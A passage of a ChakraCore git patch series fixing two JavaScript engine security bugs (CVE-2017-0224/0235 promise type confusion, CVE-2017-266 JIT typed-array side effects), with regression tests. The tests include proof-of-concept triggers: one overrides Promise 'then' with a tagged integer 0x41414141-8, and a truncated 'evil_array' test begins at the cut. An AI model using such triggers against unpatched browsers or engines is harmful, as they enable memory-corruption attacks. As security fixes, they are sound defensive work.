From f022afb8246acc98e74a887bb655ac512caf6e72 Mon Sep 17 00:00:00 2001 From: Aneesh Divakarakurup Date: Tue, 9 May 2017 15:22:17 -0700 Subject: [PATCH 01/12] [CVE-2017-0224, CVE-2017-0235] Chakra - JavascriptPromise::AsyncSpawnStep method invocation issue While invoking then and catch functions on the promise returned by async function we were directly invoking those without checking. Overriding those methods with tagged int can cause wrong method execution. --- lib/Runtime/Library/JavascriptLibrary.cpp | 2 +- lib/Runtime/Library/JavascriptLibrary.h | 2 +- lib/Runtime/Library/JavascriptPromise.cpp | 41 +++++++++++++++-------- lib/Runtime/Library/JavascriptPromise.h | 12 +++---- test/Bugs/bug11026788.js | 38 +++++++++++++++++++++ test/Bugs/rlexe.xml | 5 +++ 6 files changed, 78 insertions(+), 22 deletions(-) create mode 100644 test/Bugs/bug11026788.js diff --git a/lib/Runtime/Library/JavascriptLibrary.cpp b/lib/Runtime/Library/JavascriptLibrary.cpp index 8b3087ce710..6a356a1f5a1 100644 --- a/lib/Runtime/Library/JavascriptLibrary.cpp +++ b/lib/Runtime/Library/JavascriptLibrary.cpp @@ -6184,7 +6184,7 @@ namespace Js return function; } - JavascriptPromiseAsyncSpawnStepArgumentExecutorFunction* JavascriptLibrary::CreatePromiseAsyncSpawnStepArgumentExecutorFunction(JavascriptMethod entryPoint, JavascriptGenerator* generator, Var argument, JavascriptFunction* resolve, JavascriptFunction* reject, bool isReject) + JavascriptPromiseAsyncSpawnStepArgumentExecutorFunction* JavascriptLibrary::CreatePromiseAsyncSpawnStepArgumentExecutorFunction(JavascriptMethod entryPoint, JavascriptGenerator* generator, Var argument, Var resolve, Var reject, bool isReject) { FunctionInfo* functionInfo = RecyclerNew(this->GetRecycler(), FunctionInfo, entryPoint); DynamicType* type = CreateDeferredPrototypeFunctionType(this->inDispatchProfileMode ? ProfileEntryThunk : entryPoint); diff --git a/lib/Runtime/Library/JavascriptLibrary.h b/lib/Runtime/Library/JavascriptLibrary.h index 467b40fdfbe..ead9142eb7e 100644 --- a/lib/Runtime/Library/JavascriptLibrary.h +++ b/lib/Runtime/Library/JavascriptLibrary.h @@ -984,7 +984,7 @@ namespace Js JavascriptExternalFunction* CreateStdCallExternalFunction(StdCallJavascriptMethod entryPointer, PropertyId nameId, void *callbackState); JavascriptExternalFunction* CreateStdCallExternalFunction(StdCallJavascriptMethod entryPointer, Var nameId, void *callbackState); JavascriptPromiseAsyncSpawnExecutorFunction* CreatePromiseAsyncSpawnExecutorFunction(JavascriptMethod entryPoint, JavascriptGenerator* generator, Var target); - JavascriptPromiseAsyncSpawnStepArgumentExecutorFunction* CreatePromiseAsyncSpawnStepArgumentExecutorFunction(JavascriptMethod entryPoint, JavascriptGenerator* generator, Var argument, JavascriptFunction* resolve = NULL, JavascriptFunction* reject = NULL, bool isReject = false); + JavascriptPromiseAsyncSpawnStepArgumentExecutorFunction* CreatePromiseAsyncSpawnStepArgumentExecutorFunction(JavascriptMethod entryPoint, JavascriptGenerator* generator, Var argument, Var resolve = nullptr, Var reject = nullptr, bool isReject = false); JavascriptPromiseCapabilitiesExecutorFunction* CreatePromiseCapabilitiesExecutorFunction(JavascriptMethod entryPoint, JavascriptPromiseCapability* capability); JavascriptPromiseResolveOrRejectFunction* CreatePromiseResolveOrRejectFunction(JavascriptMethod entryPoint, JavascriptPromise* promise, bool isReject, JavascriptPromiseResolveOrRejectFunctionAlreadyResolvedWrapper* alreadyResolvedRecord); JavascriptPromiseReactionTaskFunction* CreatePromiseReactionTaskFunction(JavascriptMethod entryPoint, JavascriptPromiseReaction* reaction, Var argument); diff --git a/lib/Runtime/Library/JavascriptPromise.cpp b/lib/Runtime/Library/JavascriptPromise.cpp index 1ce33bb3bdf..a095412b1a6 100644 --- a/lib/Runtime/Library/JavascriptPromise.cpp +++ b/lib/Runtime/Library/JavascriptPromise.cpp @@ -1009,8 +1009,8 @@ namespace Js JavascriptGenerator* gen = asyncSpawnExecutorFunction->GetGenerator(); JavascriptPromiseAsyncSpawnStepArgumentExecutorFunction* nextFunction = library->CreatePromiseAsyncSpawnStepArgumentExecutorFunction(EntryJavascriptPromiseAsyncSpawnStepNextExecutorFunction, gen, varCallArgs); - Assert(JavascriptFunction::Is(resolve) && JavascriptFunction::Is(reject)); - AsyncSpawnStep(nextFunction, gen, JavascriptFunction::FromVar(resolve), JavascriptFunction::FromVar(reject)); + Assert(JavascriptConversion::IsCallable(resolve) && JavascriptConversion::IsCallable(reject)); + AsyncSpawnStep(nextFunction, gen, resolve, reject); return undefinedVar; } @@ -1054,8 +1054,8 @@ namespace Js JavascriptPromiseAsyncSpawnStepArgumentExecutorFunction* asyncSpawnStepExecutorFunction = JavascriptPromiseAsyncSpawnStepArgumentExecutorFunction::FromVar(function); JavascriptPromiseAsyncSpawnStepArgumentExecutorFunction* functionArg; JavascriptGenerator* gen = asyncSpawnStepExecutorFunction->GetGenerator(); - JavascriptFunction* reject = asyncSpawnStepExecutorFunction->GetReject(); - JavascriptFunction* resolve = asyncSpawnStepExecutorFunction->GetResolve(); + Var reject = asyncSpawnStepExecutorFunction->GetReject(); + Var resolve = asyncSpawnStepExecutorFunction->GetResolve(); if (asyncSpawnStepExecutorFunction->GetIsReject()) { @@ -1071,9 +1071,9 @@ namespace Js return undefinedVar; } - void JavascriptPromise::AsyncSpawnStep(JavascriptPromiseAsyncSpawnStepArgumentExecutorFunction* nextFunction, JavascriptGenerator* gen, JavascriptFunction* resolve, JavascriptFunction* reject) + void JavascriptPromise::AsyncSpawnStep(JavascriptPromiseAsyncSpawnStepArgumentExecutorFunction* nextFunction, JavascriptGenerator* gen, Var resolve, Var reject) { - ScriptContext* scriptContext = resolve->GetScriptContext(); + ScriptContext* scriptContext = gen->GetScriptContext(); JavascriptLibrary* library = scriptContext->GetLibrary(); Var undefinedVar = library->GetUndefined(); @@ -1105,7 +1105,12 @@ namespace Js { // finished with success, resolve the promise value = JavascriptOperators::GetProperty(next, PropertyIds::value, scriptContext); - CALL_FUNCTION(scriptContext->GetThreadContext(), resolve, CallInfo(CallFlags_Value, 2), undefinedVar, value); + if (!JavascriptConversion::IsCallable(resolve)) + { + JavascriptError::ThrowTypeError(scriptContext, JSERR_NeedFunction); + } + CALL_FUNCTION(scriptContext->GetThreadContext(), RecyclableObject::FromVar(resolve), CallInfo(CallFlags_Value, 2), undefinedVar, value); + return; } @@ -1118,11 +1123,19 @@ namespace Js Var promiseVar = CALL_FUNCTION(scriptContext->GetThreadContext(), promiseResolve, CallInfo(CallFlags_Value, 2), library->GetPromiseConstructor(), value); JavascriptPromise* promise = FromVar(promiseVar); - JavascriptFunction* promiseThen = JavascriptFunction::FromVar(JavascriptOperators::GetProperty(promise, PropertyIds::then, scriptContext)); - CALL_FUNCTION(scriptContext->GetThreadContext(), promiseThen, CallInfo(CallFlags_Value, 2), promise, successFunction); + Var promiseThen = JavascriptOperators::GetProperty(promise, PropertyIds::then, scriptContext); + if (!JavascriptConversion::IsCallable(promiseThen)) + { + JavascriptError::ThrowTypeError(scriptContext, JSERR_NeedFunction); + } + CALL_FUNCTION(scriptContext->GetThreadContext(), RecyclableObject::FromVar(promiseThen), CallInfo(CallFlags_Value, 2), promise, successFunction); - JavascriptFunction* promiseCatch = JavascriptFunction::FromVar(JavascriptOperators::GetProperty(promise, PropertyIds::catch_, scriptContext)); - CALL_FUNCTION(scriptContext->GetThreadContext(), promiseCatch, CallInfo(CallFlags_Value, 2), promise, failFunction); + Var promiseCatch = JavascriptOperators::GetProperty(promise, PropertyIds::catch_, scriptContext); + if (!JavascriptConversion::IsCallable(promiseCatch)) + { + JavascriptError::ThrowTypeError(scriptContext, JSERR_NeedFunction); + } + CALL_FUNCTION(scriptContext->GetThreadContext(), RecyclableObject::FromVar(promiseCatch), CallInfo(CallFlags_Value, 2), promise, failFunction); } #if ENABLE_TTD @@ -1435,7 +1448,7 @@ namespace Js } #endif - JavascriptPromiseAsyncSpawnStepArgumentExecutorFunction::JavascriptPromiseAsyncSpawnStepArgumentExecutorFunction(DynamicType* type, FunctionInfo* functionInfo, JavascriptGenerator* generator, Var argument, JavascriptFunction* resolve, JavascriptFunction* reject, bool isReject) + JavascriptPromiseAsyncSpawnStepArgumentExecutorFunction::JavascriptPromiseAsyncSpawnStepArgumentExecutorFunction(DynamicType* type, FunctionInfo* functionInfo, JavascriptGenerator* generator, Var argument, Var resolve, Var reject, bool isReject) : RuntimeFunction(type, functionInfo), generator(generator), argument(argument), resolve(resolve), reject(reject), isReject(isReject) { } @@ -1464,12 +1477,12 @@ namespace Js return this->generator; } - JavascriptFunction* JavascriptPromiseAsyncSpawnStepArgumentExecutorFunction::GetResolve() + Var JavascriptPromiseAsyncSpawnStepArgumentExecutorFunction::GetResolve() { return this->resolve; } - JavascriptFunction* JavascriptPromiseAsyncSpawnStepArgumentExecutorFunction::GetReject() + Var JavascriptPromiseAsyncSpawnStepArgumentExecutorFunction::GetReject() { return this->reject; } diff --git a/lib/Runtime/Library/JavascriptPromise.h b/lib/Runtime/Library/JavascriptPromise.h index d82716c74ae..c8410c977bf 100644 --- a/lib/Runtime/Library/JavascriptPromise.h +++ b/lib/Runtime/Library/JavascriptPromise.h @@ -78,21 +78,21 @@ namespace Js DEFINE_MARSHAL_OBJECT_TO_SCRIPT_CONTEXT(JavascriptPromiseAsyncSpawnStepArgumentExecutorFunction); public: - JavascriptPromiseAsyncSpawnStepArgumentExecutorFunction(DynamicType* type, FunctionInfo* functionInfo, JavascriptGenerator* generator, Var argument, JavascriptFunction* resolve = NULL, JavascriptFunction* reject = NULL, bool isReject = false); + JavascriptPromiseAsyncSpawnStepArgumentExecutorFunction(DynamicType* type, FunctionInfo* functionInfo, JavascriptGenerator* generator, Var argument, Var resolve = nullptr, Var reject = nullptr, bool isReject = false); inline static bool Is(Var var); inline static JavascriptPromiseAsyncSpawnStepArgumentExecutorFunction* FromVar(Var var); JavascriptGenerator* GetGenerator(); - JavascriptFunction* GetReject(); - JavascriptFunction* GetResolve(); + Var GetReject(); + Var GetResolve(); bool GetIsReject(); Var GetArgument(); private: JavascriptGenerator* generator; - JavascriptFunction* reject; - JavascriptFunction* resolve; + Var reject; + Var resolve; bool isReject; Var argument; @@ -466,7 +466,7 @@ namespace Js JavascriptPromiseReactionList* rejectReactions; private : - static void AsyncSpawnStep(JavascriptPromiseAsyncSpawnStepArgumentExecutorFunction* nextFunction, JavascriptGenerator* gen, JavascriptFunction* resolve, JavascriptFunction* reject); + static void AsyncSpawnStep(JavascriptPromiseAsyncSpawnStepArgumentExecutorFunction* nextFunction, JavascriptGenerator* gen, Var resolve, Var reject); #if ENABLE_TTD public: diff --git a/test/Bugs/bug11026788.js b/test/Bugs/bug11026788.js new file mode 100644 index 00000000000..1690f3c5a52 --- /dev/null +++ b/test/Bugs/bug11026788.js @@ -0,0 +1,38 @@ +//------------------------------------------------------------------------------------------------------- +// Copyright (C) Microsoft. All rights reserved. +// Licensed under the MIT license. See LICENSE.txt file in the project root for full license information. +//------------------------------------------------------------------------------------------------------- + +async function foo( ) { + var p1 = new Promise( + timeout1 => { + setTimeout( () => { + timeout1( 1 ); + }, 500 ); + } + ); + + var p2 = new Promise( + timeout2 => { + setTimeout( () => { + timeout2( 2 ); + }, 500 ); + } + ); + + return await p1 + await p2; +} + +promise = foo(); +promise.__proto__.then = (0x41414141 - 8) >> 0; + +try { + promise.then( function( value ){} ); + WScript.Echo("FAILED"); +} catch (e) { + if (e instanceof TypeError) { + WScript.Echo("PASSED"); + } else { + WScript.Echo("FAILED"); + } +} \ No newline at end of file diff --git a/test/Bugs/rlexe.xml b/test/Bugs/rlexe.xml index a9de0638613..95098d61a2c 100644 --- a/test/Bugs/rlexe.xml +++ b/test/Bugs/rlexe.xml @@ -392,4 +392,9 @@ -mic:1 -off:simplejit -oopjit- -bgjit- + + + bug11026788.js + + From 9587507cfbc02a6b9443f924a6eec783fd14dec4 Mon Sep 17 00:00:00 2001 From: Paul Leathers Date: Tue, 9 May 2017 13:33:46 -0700 Subject: [PATCH 02/12] [CVE-2017-266] Protect store-element to a float typed array from implicit call if BailOutOnArrayAccessHelperCall is set, as that bailout kind indicates that downstream code will assume no side-effects. --- lib/Backend/Func.cpp | 5 ++ lib/Backend/GlobOpt.cpp | 6 ++ lib/Backend/GlobOpt.h | 1 + lib/Backend/JITTimeProfileInfo.cpp | 6 ++ lib/Backend/JITTimeProfileInfo.h | 1 + lib/Backend/Lower.cpp | 6 +- lib/Backend/LowerMDShared.cpp | 19 ++++- lib/Backend/LowerMDShared.h | 2 +- lib/Backend/NativeCodeGenerator.cpp | 4 + lib/Backend/amd64/LowererMDArch.cpp | 8 +- lib/Backend/arm/LowerMD.cpp | 27 +++++-- lib/Backend/arm/LowerMD.h | 2 +- lib/Backend/arm64/LowerMD.h | 2 +- lib/Backend/i386/LowererMDArch.cpp | 8 +- lib/Common/Common/RejitReasons.h | 1 + lib/JITIDL/JITTypes.h | 3 +- test/typedarray/floathelperaccess.js | 116 +++++++++++++++++++++++++++ test/typedarray/rlexe.xml | 6 ++ 18 files changed, 202 insertions(+), 21 deletions(-) create mode 100644 test/typedarray/floathelperaccess.js diff --git a/lib/Backend/Func.cpp b/lib/Backend/Func.cpp index 78d4cb7011c..033b85eaa63 100644 --- a/lib/Backend/Func.cpp +++ b/lib/Backend/Func.cpp @@ -322,6 +322,11 @@ Func::Codegen(JitArenaAllocator *alloc, JITTimeWorkItem * workItem, workItem->GetJITFunctionBody()->GetProfileInfo()->DisableSwitchOpt(); outputData->disableSwitchOpt = TRUE; } + else if (ex.Reason() == RejitReason::ArrayCheckHoistDisabled || ex.Reason() == RejitReason::ArrayAccessHelperCallEliminationDisabled) + { + workItem->GetJITFunctionBody()->GetProfileInfo()->DisableArrayCheckHoist(func.IsLoopBody()); + outputData->disableArrayCheckHoist = TRUE; + } else { Assert(ex.Reason() == RejitReason::TrackIntOverflowDisabled); diff --git a/lib/Backend/GlobOpt.cpp b/lib/Backend/GlobOpt.cpp index e8bf452015c..df41355c0c5 100644 --- a/lib/Backend/GlobOpt.cpp +++ b/lib/Backend/GlobOpt.cpp @@ -20053,6 +20053,12 @@ GlobOpt::DoArrayLengthHoist() const return doArrayLengthHoist; } +bool +GlobOpt::DoEliminateArrayAccessHelperCall(Func *const func) +{ + return DoArrayCheckHoist(func); +} + bool GlobOpt::DoEliminateArrayAccessHelperCall() const { diff --git a/lib/Backend/GlobOpt.h b/lib/Backend/GlobOpt.h index f32d3e0c111..6e75fbc93b4 100644 --- a/lib/Backend/GlobOpt.h +++ b/lib/Backend/GlobOpt.h @@ -1616,6 +1616,7 @@ class GlobOpt static bool DoArrayMissingValueCheckHoist(Func *const func); static bool DoArraySegmentHoist(const ValueType baseValueType, Func *const func); static bool DoArrayLengthHoist(Func *const func); + static bool DoEliminateArrayAccessHelperCall(Func* func); static bool DoTypedArrayTypeSpec(Func* func); static bool DoNativeArrayTypeSpec(Func* func); static bool IsSwitchOptEnabled(Func* func); diff --git a/lib/Backend/JITTimeProfileInfo.cpp b/lib/Backend/JITTimeProfileInfo.cpp index cafdd5c6e18..0c6a81e9413 100644 --- a/lib/Backend/JITTimeProfileInfo.cpp +++ b/lib/Backend/JITTimeProfileInfo.cpp @@ -143,6 +143,12 @@ JITTimeProfileInfo::DisableAggressiveIntTypeSpec(bool isLoopBody) m_profileData.flags |= isLoopBody ? Flags_disableAggressiveIntTypeSpec_jitLoopBody : Flags_disableAggressiveIntTypeSpec; } +void +JITTimeProfileInfo::DisableArrayCheckHoist(bool isLoopBody) +{ + m_profileData.flags |= isLoopBody ? Flags_disableArrayCheckHoist_jitLoopBody : Flags_disableArrayCheckHoist; +} + void JITTimeProfileInfo::DisableStackArgOpt() { diff --git a/lib/Backend/JITTimeProfileInfo.h b/lib/Backend/JITTimeProfileInfo.h index 760e82e8c6b..522f5d3d8cd 100644 --- a/lib/Backend/JITTimeProfileInfo.h +++ b/lib/Backend/JITTimeProfileInfo.h @@ -40,6 +40,7 @@ class JITTimeProfileInfo void DisableStackArgOpt(); void DisableSwitchOpt(); void DisableTrackCompoundedIntOverflow(); + void DisableArrayCheckHoist(bool isLoopBody); bool IsModulusOpByPowerOf2(Js::ProfileId profileId) const; bool IsAggressiveIntTypeSpecDisabled(const bool isJitLoopBody) const; diff --git a/lib/Backend/Lower.cpp b/lib/Backend/Lower.cpp index df58d6ff5ac..3c63d166b08 100644 --- a/lib/Backend/Lower.cpp +++ b/lib/Backend/Lower.cpp @@ -16874,16 +16874,18 @@ Lowerer::GenerateFastStElemI(IR::Instr *& stElem, bool *instrIsInHelperBlockRef) const IR::AutoReuseOpnd autoReuseReg(reg, m_func); InsertMove(reg, src, stElem); + bool bailOutOnHelperCall = stElem->HasBailOutInfo() && (stElem->GetBailOutKind() & IR::BailOutOnArrayAccessHelperCall); + // Convert to float, and assign to indirOpnd if (baseValueType.IsLikelyOptimizedVirtualTypedArray()) { IR::RegOpnd* dstReg = IR::RegOpnd::New(indirOpnd->GetType(), this->m_func); - m_lowererMD.EmitLoadFloat(dstReg, reg, stElem); + m_lowererMD.EmitLoadFloat(dstReg, reg, stElem, bailOutOnHelperCall); InsertMove(indirOpnd, dstReg, stElem); } else { - m_lowererMD.EmitLoadFloat(indirOpnd, reg, stElem); + m_lowererMD.EmitLoadFloat(indirOpnd, reg, stElem, bailOutOnHelperCall); } } diff --git a/lib/Backend/LowerMDShared.cpp b/lib/Backend/LowerMDShared.cpp index e36cb9957eb..1b98af73360 100644 --- a/lib/Backend/LowerMDShared.cpp +++ b/lib/Backend/LowerMDShared.cpp @@ -6645,7 +6645,7 @@ LowererMD::EmitLoadFloatCommon(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertIn } IR::RegOpnd * -LowererMD::EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr) +LowererMD::EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, bool bailOutOnHelperCall) { IR::LabelInstr *labelDone; IR::Instr *instr; @@ -6657,6 +6657,23 @@ LowererMD::EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr) return nullptr; } + if (bailOutOnHelperCall) + { + if(!GlobOpt::DoEliminateArrayAccessHelperCall(this->m_func)) + { + // Array access helper call removal is already off for some reason. Prevent trying to rejit again + // because it won't help and the same thing will happen again. Just abort jitting this function. + if(PHASE_TRACE(Js::BailOutPhase, this->m_func)) + { + Output::Print(_u(" Aborting JIT because EliminateArrayAccessHelperCall is already off\n")); + Output::Flush(); + } + throw Js::OperationAbortedException(); + } + + throw Js::RejitException(RejitReason::ArrayAccessHelperCallEliminationDisabled); + } + IR::Opnd *memAddress = dst; if (dst->IsRegOpnd()) diff --git a/lib/Backend/LowerMDShared.h b/lib/Backend/LowerMDShared.h index 591a1b3f6ae..c38ad4d5c07 100644 --- a/lib/Backend/LowerMDShared.h +++ b/lib/Backend/LowerMDShared.h @@ -222,7 +222,7 @@ class LowererMD static IR::Instr *InsertConvertFloat64ToInt32(const RoundMode roundMode, IR::Opnd *const dst, IR::Opnd *const src, IR::Instr *const insertBeforeInstr); void ConvertFloatToInt32(IR::Opnd* intOpnd, IR::Opnd* floatOpnd, IR::LabelInstr * labelHelper, IR::LabelInstr * labelDone, IR::Instr * instInsert); void EmitLoadFloatFromNumber(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr); - IR::RegOpnd * EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr); + IR::RegOpnd * EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, bool bailOutOnHelperCall = false); static void EmitNon32BitOvfCheck(IR::Instr *instr, IR::Instr *insertInstr, IR::LabelInstr* bailOutLabel); static void LowerInt4NegWithBailOut(IR::Instr *const instr, const IR::BailOutKind bailOutKind, IR::LabelInstr *const bailOutLabel, IR::LabelInstr *const skipBailOutLabel); diff --git a/lib/Backend/NativeCodeGenerator.cpp b/lib/Backend/NativeCodeGenerator.cpp index e237d362ec6..eebc5ce4028 100644 --- a/lib/Backend/NativeCodeGenerator.cpp +++ b/lib/Backend/NativeCodeGenerator.cpp @@ -1135,6 +1135,10 @@ NativeCodeGenerator::CodeGen(PageAllocator * pageAllocator, CodeGenWorkItem* wor if (body->HasDynamicProfileInfo()) { + if (jitWriteData.disableArrayCheckHoist) + { + body->GetAnyDynamicProfileInfo()->DisableArrayCheckHoist(workItem->Type() == JsLoopBodyWorkItemType); + } if (jitWriteData.disableAggressiveIntTypeSpec) { body->GetAnyDynamicProfileInfo()->DisableAggressiveIntTypeSpec(workItem->Type() == JsLoopBodyWorkItemType); diff --git a/lib/Backend/amd64/LowererMDArch.cpp b/lib/Backend/amd64/LowererMDArch.cpp index d9e743a7001..c8f8c883b71 100644 --- a/lib/Backend/amd64/LowererMDArch.cpp +++ b/lib/Backend/amd64/LowererMDArch.cpp @@ -2748,19 +2748,19 @@ LowererMDArch::EmitLoadInt32(IR::Instr *instrLoad, bool conversionFromObjectAllo // Known to be non-integer. If we are required to bail out on helper call, just re-jit. if (!doFloatToIntFastPath && bailOutOnHelper) { - if(!GlobOpt::DoAggressiveIntTypeSpec(this->m_func)) + if(!GlobOpt::DoEliminateArrayAccessHelperCall(this->m_func)) { - // Aggressive int type specialization is already off for some reason. Prevent trying to rejit again + // Array access helper call removal is already off for some reason. Prevent trying to rejit again // because it won't help and the same thing will happen again. Just abort jitting this function. if(PHASE_TRACE(Js::BailOutPhase, this->m_func)) { - Output::Print(_u(" Aborting JIT because AggressiveIntTypeSpec is already off\n")); + Output::Print(_u(" Aborting JIT because EliminateArrayAccessHelperCall is already off\n")); Output::Flush(); } throw Js::OperationAbortedException(); } - throw Js::RejitException(RejitReason::AggressiveIntTypeSpecDisabled); + throw Js::RejitException(RejitReason::ArrayAccessHelperCallEliminationDisabled); } } else diff --git a/lib/Backend/arm/LowerMD.cpp b/lib/Backend/arm/LowerMD.cpp index 5b03f1416cc..31e08f37bc2 100644 --- a/lib/Backend/arm/LowerMD.cpp +++ b/lib/Backend/arm/LowerMD.cpp @@ -6143,7 +6143,7 @@ LowererMD::EmitLoadFloatCommon(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertIn } IR::RegOpnd * -LowererMD::EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr) +LowererMD::EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, bool bailOutOnHelperCall) { IR::LabelInstr *labelDone; IR::Instr *instr; @@ -6165,6 +6165,23 @@ LowererMD::EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr) return nullptr; } + if (bailOutOnHelperCall) + { + if(!GlobOpt::DoEliminateArrayAccessHelperCall(this->m_func)) + { + // Array access helper call removal is already off for some reason. Prevent trying to rejit again + // because it won't help and the same thing will happen again. Just abort jitting this function. + if(PHASE_TRACE(Js::BailOutPhase, this->m_func)) + { + Output::Print(_u(" Aborting JIT because EliminateArrayAccessHelperCall is already off\n")); + Output::Flush(); + } + throw Js::OperationAbortedException(); + } + + throw Js::RejitException(RejitReason::ArrayAccessHelperCallEliminationDisabled); + } + IR::Opnd *memAddress = dst; if (dst->IsRegOpnd()) { @@ -7385,19 +7402,19 @@ LowererMD::EmitLoadInt32(IR::Instr *instrLoad, bool conversionFromObjectAllowed, // Known to be non-integer. If we are required to bail out on helper call, just re-jit. if (!doFloatToIntFastPath && bailOutOnHelper) { - if(!GlobOpt::DoAggressiveIntTypeSpec(this->m_func)) + if(!GlobOpt::DoEliminateArrayAccessHelperCall(this->m_func)) { - // Aggressive int type specialization is already off for some reason. Prevent trying to rejit again + // Array access helper call removal is already off for some reason. Prevent trying to rejit again // because it won't help and the same thing will happen again. Just abort jitting this function. if(PHASE_TRACE(Js::BailOutPhase, this->m_func)) { - Output::Print(_u(" Aborting JIT because AggressiveIntTypeSpec is already off\n")); + Output::Print(_u(" Aborting JIT because EliminateArrayAccessHelperCall is already off\n")); Output::Flush(); } throw Js::OperationAbortedException(); } - throw Js::RejitException(RejitReason::AggressiveIntTypeSpecDisabled); + throw Js::RejitException(RejitReason::ArrayAccessHelperCallEliminationDisabled); } } else diff --git a/lib/Backend/arm/LowerMD.h b/lib/Backend/arm/LowerMD.h index e238d50eb0a..e255ddcc4a9 100644 --- a/lib/Backend/arm/LowerMD.h +++ b/lib/Backend/arm/LowerMD.h @@ -155,7 +155,7 @@ class LowererMD void GenerateNumberAllocation(IR::RegOpnd * opndDst, IR::Instr * instrInsert, bool isHelper); void GenerateFastRecyclerAlloc(size_t allocSize, IR::RegOpnd* newObjDst, IR::Instr* insertionPointInstr, IR::LabelInstr* allocHelperLabel, IR::LabelInstr* allocDoneLabel); void SaveDoubleToVar(IR::RegOpnd * dstOpnd, IR::RegOpnd *opndFloat, IR::Instr *instrOrig, IR::Instr *instrInsert, bool isHelper = false); - IR::RegOpnd * EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr); + IR::RegOpnd * EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, bool bailOutOnHelperCall = false); IR::Instr * LoadCheckedFloat(IR::RegOpnd *opndOrig, IR::RegOpnd *opndFloat, IR::LabelInstr *labelInline, IR::LabelInstr *labelHelper, IR::Instr *instrInsert, const bool checkForNullInLoopBody = false); void LoadFloatValue(IR::RegOpnd * javascriptNumber, IR::RegOpnd * opndFloat, IR::LabelInstr * labelHelper, IR::Instr * instrInsert, const bool checkFornullptrInLoopBody = false); diff --git a/lib/Backend/arm64/LowerMD.h b/lib/Backend/arm64/LowerMD.h index b81819b41fa..504a8d98bc6 100644 --- a/lib/Backend/arm64/LowerMD.h +++ b/lib/Backend/arm64/LowerMD.h @@ -152,7 +152,7 @@ class LowererMD void GenerateNumberAllocation(IR::RegOpnd * opndDst, IR::Instr * instrInsert, bool isHelper) { __debugbreak(); } void GenerateFastRecyclerAlloc(size_t allocSize, IR::RegOpnd* newObjDst, IR::Instr* insertionPointInstr, IR::LabelInstr* allocHelperLabel, IR::LabelInstr* allocDoneLabel) { __debugbreak(); } void SaveDoubleToVar(IR::RegOpnd * dstOpnd, IR::RegOpnd *opndFloat, IR::Instr *instrOrig, IR::Instr *instrInsert, bool isHelper = false) { __debugbreak(); } - IR::RegOpnd * EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr) { __debugbreak(); return 0; } + IR::RegOpnd * EmitLoadFloat(IR::Opnd *dst, IR::Opnd *src, IR::Instr *insertInstr, bool bailOutOnHelperCall = false) { __debugbreak(); return 0; } IR::Instr * LoadCheckedFloat(IR::RegOpnd *opndOrig, IR::RegOpnd *opndFloat, IR::LabelInstr *labelInline, IR::LabelInstr *labelHelper, IR::Instr *instrInsert) { __debugbreak(); return 0; } void LoadFloatValue(IR::RegOpnd * javascriptNumber, IR::RegOpnd * opndFloat, IR::LabelInstr * labelHelper, IR::Instr * instrInsert) { __debugbreak(); } diff --git a/lib/Backend/i386/LowererMDArch.cpp b/lib/Backend/i386/LowererMDArch.cpp index 799caf3cc92..1cb8b2b62a1 100644 --- a/lib/Backend/i386/LowererMDArch.cpp +++ b/lib/Backend/i386/LowererMDArch.cpp @@ -2672,19 +2672,19 @@ LowererMDArch::EmitLoadInt32(IR::Instr *instrLoad, bool conversionFromObjectAllo // Known to be non-integer. If we are required to bail out on helper call, just re-jit. if (!doFloatToIntFastPath && bailOutOnHelper) { - if(!GlobOpt::DoAggressiveIntTypeSpec(this->m_func)) + if(!GlobOpt::DoEliminateArrayAccessHelperCall(this->m_func)) { - // Aggressive int type specialization is already off for some reason. Prevent trying to rejit again + // Array access helper call removal is already off for some reason. Prevent trying to rejit again // because it won't help and the same thing will happen again. Just abort jitting this function. if(PHASE_TRACE(Js::BailOutPhase, this->m_func)) { - Output::Print(_u(" Aborting JIT because AggressiveIntTypeSpec is already off\n")); + Output::Print(_u(" Aborting JIT because EliminateArrayAccessHelperCall is already off\n")); Output::Flush(); } throw Js::OperationAbortedException(); } - throw Js::RejitException(RejitReason::AggressiveIntTypeSpecDisabled); + throw Js::RejitException(RejitReason::ArrayAccessHelperCallEliminationDisabled); } } else diff --git a/lib/Common/Common/RejitReasons.h b/lib/Common/Common/RejitReasons.h index d0034f0fcc4..ac55b59807e 100644 --- a/lib/Common/Common/RejitReasons.h +++ b/lib/Common/Common/RejitReasons.h @@ -28,6 +28,7 @@ REJIT_REASON(FailedEquivalentFixedFieldTypeCheck) REJIT_REASON(CtorGuardInvalidated) REJIT_REASON(ArrayCheckHoistDisabled) REJIT_REASON(ArrayMissingValueCheckHoistDisabled) +REJIT_REASON(ArrayAccessHelperCallEliminationDisabled) REJIT_REASON(ExpectingNativeArray) REJIT_REASON(ConvertedNativeArray) REJIT_REASON(ArrayAccessNeededHelperCall) diff --git a/lib/JITIDL/JITTypes.h b/lib/JITIDL/JITTypes.h index aeb4ecd8119..15e281d4d86 100644 --- a/lib/JITIDL/JITTypes.h +++ b/lib/JITIDL/JITTypes.h @@ -763,6 +763,7 @@ typedef struct NativeDataBuffer // Fields that JIT modifies typedef struct JITOutputIDL { + boolean disableArrayCheckHoist; boolean disableAggressiveIntTypeSpec; boolean disableInlineApply; boolean disableInlineSpread; @@ -775,8 +776,6 @@ typedef struct JITOutputIDL boolean hasJittedStackClosure; - IDL_PAD1(0) - unsigned short pdataCount; unsigned short xdataSize; diff --git a/test/typedarray/floathelperaccess.js b/test/typedarray/floathelperaccess.js new file mode 100644 index 00000000000..ef48991d326 --- /dev/null +++ b/test/typedarray/floathelperaccess.js @@ -0,0 +1,116 @@ + var evil_array = new Array(0x38/*dataview 